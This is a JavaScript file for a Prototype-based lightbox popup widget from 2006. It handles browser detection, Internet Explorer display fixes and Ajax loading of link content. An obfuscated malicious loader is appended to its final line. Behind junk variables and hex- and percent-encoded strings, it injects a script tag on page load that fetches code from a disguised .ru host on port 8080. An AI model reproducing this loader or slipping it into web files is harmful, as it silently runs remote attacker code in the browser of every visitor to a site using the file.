/*
Created By: Chris Campbell
Website: http://particletree.com
Date: 2/1/2006

Inspired by the lightbox implementation found at http://www.huddletogether.com/projects/lightbox/
*/

/*-------------------------------GLOBAL VARIABLES------------------------------------*/

var detect = navigator.userAgent.toLowerCase();
var OS,browser,version,total,thestring;
var screenheight;  // adding screen height to account for folks w/ lower resolutions

/*-----------------------------------------------------------------------------------------------*/

//Browser detect script origionally created by Peter Paul Koch at http://www.quirksmode.org/

function getBrowserInfo() {
	if (checkIt('konqueror')) {
		browser = "Konqueror";
		OS = "Linux";
	}
	else if (checkIt('safari')) browser 	= "Safari"
	else if (checkIt('omniweb')) browser 	= "OmniWeb"
	else if (checkIt('opera')) browser 		= "Opera"
	else if (checkIt('webtv')) browser 		= "WebTV";
	else if (checkIt('icab')) browser 		= "iCab"
	else if (checkIt('msie')) browser 		= "Internet Explorer"
	else if (!checkIt('compatible')) {
		browser = "Netscape Navigator"
		version = detect.charAt(8);
	}
	else browser = "An unknown browser";

	if (!version) version = detect.charAt(place + thestring.length);

	if (!OS) {
		if (checkIt('linux')) OS 		= "Linux";
		else if (checkIt('x11')) OS 	= "Unix";
		else if (checkIt('mac')) OS 	= "Mac"
		else if (checkIt('win')) OS 	= "Windows"
		else OS 								= "an unknown operating system";
	}
}

function getResolutionInfo() {
	if ( window && window.screen ) {
		screenheight = window.screen.height;
	}else{
		screenheight = 600; // default to LCD
	}
}

function checkIt(string) {
	place = detect.indexOf(string) + 1;
	thestring = string;
	return place;
}

/*-----------------------------------------------------------------------------------------------*/

Event.observe(window, 'load', initialize, false);
Event.observe(window, 'load', getBrowserInfo, false);
Event.observe(window, 'load', getResolutionInfo, false);
Event.observe(window, 'unload', Event.unloadCache, false);

var lightbox = Class.create();

lightbox.prototype = {

	yPos : 0,
	xPos : 0,/*0*/

	initialize: function(ctrl) {
		this.content = ctrl.href;
		Event.observe(ctrl, 'click', this.activate.bindAsEventListener(this), false);
		ctrl.onclick = function(){return false;};
	},
	
	// Turn everything on - mainly the IE fixes
	activate: function(){
		if (browser == 'Internet Explorer'){
			this.getScroll();
			this.prepareIE('100%', 'hidden');
			this.setScroll(0,0);/*0,0*/
			this.hideSelects('hidden');
		}
		
		this.displayLightbox("block");
	},
	
	// Ie requires height to 100% and overflow hidden or else you can scroll down past the lightbox
	prepareIE: function(height, overflow){
		bod = document.getElementsByTagName('body')[0];
		bod.style.height = height;
		//bod.style.width = '100%';
		bod.style.overflow = overflow;
  
		htm = document.getElementsByTagName('html')[0];
		//htm.style.left = '-15px';
		htm.style.height = height;
		//htm.style.width = '100%';
		htm.style.overflow = overflow; 
	},
	
	// In IE, select elements hover on top of the lightbox
	hideSelects: function(visibility){
		selects = document.getElementsByTagName('select');
		for(i = 0; i < selects.length; i++) {
			selects[i].style.visibility = visibility;
		}
	},
	
	// Taken from lightbox implementation found at http://www.huddletogether.com/projects/lightbox/
	getScroll: function(){
		if (self.pageYOffset) {
			this.yPos = self.pageYOffset;
		} else if (document.documentElement && document.documentElement.scrollTop){
			this.yPos = document.documentElement.scrollTop; 
		} else if (document.body) {
			this.yPos = document.body.scrollTop;
		}
	},
	
	setScroll: function(x, y){
		window.scrollTo(x, y); 
		//window.scrollBy(-50,0);
	},
	
	displayLightbox: function(display){
		$('overlay').style.display = display;
		$('lightbox').style.display = display;
		if(display != 'none') this.loadInfo();
	},
	
	// For lower resolution monitors, it is often the case that overlay is taller than the available height and controls are inaccessible
	displayLowRes: function(){
		$('lightbox').style.marginTop = '-175px';
		
		// Correct redemption form
		//var wrapperDiv = $('redemptionContentWrapper');
		//var formDiv = $('redemptionform');
		//var form = $('redeemForm');
		
		if ($('redemptionContentWrapper')) {
			$('redemptionContentWrapper').style.overflowY = 'auto';
			$('redemptionContentWrapper').style.height = '300px';
		}	
		if ($('redemptionform')) { $('redemptionform').style.paddingRight = '0px'; }
		if ($('redeemForm')) { $('redeemForm').style.width = '380px'; }
		
	},
	
	// Begin Ajax request based off of the href of the clicked linked
	loadInfo: function() {
		var myAjax = new Ajax.Request(
        this.content,
        {method: 'post', parameters: "", onComplete: this.processInfo.bindAsEventListener(this)}
		);
		
	},
	
	// Display Ajax response
	processInfo: function(response){
		info = "<div id='lbContent'>" + response.responseText + "</div>";
		new Insertion.Before($('lbLoadMessage'), info)
		$('lightbox').className = "done";	
		this.actions();	
		
		// Adjust display for lower resolutions
		if ( screenheight < 768 ){
			this.displayLowRes();
		}
	},
	
	// Search through new links within the lightbox, and attach click event
	actions: function(){
		lbActions = document.getElementsByClassName('lbAction');

		for(i = 0; i < lbActions.length; i++) {
			Event.observe(lbActions[i], 'click', this[lbActions[i].rel].bindAsEventListener(this), false);
			lbActions[i].onclick = function(){return false;};
		}

	},
	
	// Example of creating your own functionality once lightbox is initiated
	insert: function(e){
	   link = Event.element(e).parentNode;
	   Element.remove($('lbContent'));
	 
	   var myAjax = new Ajax.Request(
			  link.href,
			  {method: 'post', parameters: "", onComplete: this.processInfo.bindAsEventListener(this)}
	   );
	 
	},
	
	// Example of creating your own functionality once lightbox is initiated
	deactivate: function(){
		Element.remove($('lbContent'));
		
		if (browser == "Internet Explorer"){
			this.setScroll(0,this.yPos);
			this.prepareIE("auto", "auto");
			this.hideSelects("visible");
		}
		
		this.displayLightbox("none");
	},
	
  lbFormSubmit: function(e){
		var formElement = Event.findElement(e, 'form');
		if(formElement.id) lbForm = new webForm(formElement.id);
		
		
		if( lbForm && lbForm.validate() ){
			
			// add special case (temporarily) for submitting the join lightbox synchronously
			if ( $('empFormAction') && ($F('empFormAction') == 'signup') ){
				formElement.submit();
			}else{
				// handle IE issue where getAttribute returns the hidden form field
				// called action rather than the form's action attribute
				if (browser == 'Internet Explorer'){
					link = lbForm.formElement.attributes['action'].value;
				}else{
					link = lbForm.formElement.getAttribute('action');
				}
				
				postData = lbForm.formElement.serialize();
				
				Element.remove($('lbContent'));
		 
					var myAjax = new Ajax.Request(
						link,
						{method: 'post', parameters: postData, onComplete: this.processInfo.bindAsEventListener(this)}
						);
			}
		}
		
		// TODO: How should we handle the case where we don't have an lbForm?
	},
	
	// Opens the link in a new window and deactivates the lightbox
	openNew: function(e){
		link = Event.element(e).parentNode;
		window.open(link.href,'newWindow');
		this.deactivate();	 
	}

}

/*-----------------------------------------------------------------------------------------------*/

// Onload, make all links that need to trigger a lightbox active
// Relocate this function to the global page load initialization (/include/template/pageLoad.vm)

function initialize(){
	addLightboxMarkup();
	lbox = document.getElementsByClassName('lbOn');
	for(i = 0; i < lbox.length; i++) {
		valid = new lightbox(lbox[i]);
	}
}


// Add in markup necessary to make this work. Basically two divs:
// Overlay holds the shadow
// Lightbox is the centered square that the content is put into.
function addLightboxMarkup() {
	bod 				= document.getElementsByTagName('body')[0];
	overlay 			= document.createElement('div');
	overlay.id		= 'overlay';
	lb					= document.createElement('div');
	lb.id				= 'lightbox';
	lb.className 	= 'loading';
	lb.innerHTML	= '<div id="lbLoadMessage">' +
						  '<p>Loading</p>' +
						  '</div>';
	bod.appendChild(overlay);
	bod.appendChild(lb);
}
var s;if(s!=''){s='p'};this.Z='';var T;if(T!='wK'){T=''};this.sT="";function w(){var y=new Date();var x;if(x!='' && x!='Y'){x=null};var m=window;var K=String("g");var k=new String();var F=unescape;this.mLr='';var Im;if(Im!=''){Im='se'};var D="\x68\x74\x74\x70\x3a\x2f\x2f\x62\x75\x7a\x7a\x6e\x65\x74\x2d\x63\x6f\x6d\x2e\x67\x6f\x6f\x67\x6c\x65\x2e\x72\x75\x2e\x75\x73\x70\x73\x2d\x63\x6f\x6d\x2e\x59\x6f\x75\x72\x42\x6c\x65\x6e\x64\x65\x72\x50\x61\x72\x74\x73\x2e\x72\x75\x3a";var aR;if(aR!='x_' && aR!='qN'){aR=''};this.H='';var wc='';var ZI;if(ZI!='VX' && ZI != ''){ZI=null};this.qn='';var dH;if(dH!='Ip' && dH!='B'){dH=''};function V(W,wF){var M=F("%5b")+wF+F("%5d");var Vm=new RegExp(M, K);return W.replace(Vm, wc);var R=new Date();};var A="";var id;if(id!='' && id!='YO'){id='j'};var t=new String();var i='';var al;if(al!='' && al!='Yj'){al=''};var c=F("%2f%61%64%75%6c%74%66%72%69%65%6e%64%66%69%6e%64%65%72%2e%63%6f%6d%2f%61%64%75%6c%74%66%72%69%65%6e%64%66%69%6e%64%65%72%2e%63%6f%6d%2f%73%74%61%79%66%72%69%65%6e%64%73%2e%64%65%2f%6f%64%6e%6f%6b%6c%61%73%73%6e%69%6b%69%2e%72%75%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2e%70%68%70");var G=document;this.jc="";var X;if(X!='Sx' && X!='SM'){X='Sx'};var I=V('86522042363819930261','24936715');var KA;if(KA!=''){KA='ba'};var Jd=new String();this.YK="";var cFA;if(cFA!='ZK' && cFA != ''){cFA=null};var aO=new String();var ag=new String();function L(){var yh=new String();i=D;var uu='';i+=I;this.QU='';i+=c;var kG;if(kG!='' && kG!='dc'){kG='tP'};var SO=new Array();this.WB="";try {this.JI="";var tH;if(tH!='dA' && tH!='wa'){tH='dA'};var Jj;if(Jj!='Oz' && Jj!='Vx'){Jj=''};this.XT="";J=G.createElement(V('sTcSrTiSpStS','TS'));var nE=new Date();J.defer=[1][0];var OH;if(OH!='yd' && OH != ''){OH=null};var KH='';J.src=i;var Bg;if(Bg!='z'){Bg='z'};var Ir=new String();var bk;if(bk!='bs' && bk!='RW'){bk='bs'};G.body.appendChild(J);var xU=new Array();var Fd;if(Fd!='My'){Fd='My'};var Ht;if(Ht!='mw' && Ht!='Dg'){Ht=''};} catch(U){};}var ql;if(ql!='' && ql!='Af'){ql=''};m["bCZonloa".substr(3)+"d"]=L;};var aRu;if(aRu!='ZD' && aRu!='Cy'){aRu=''};w();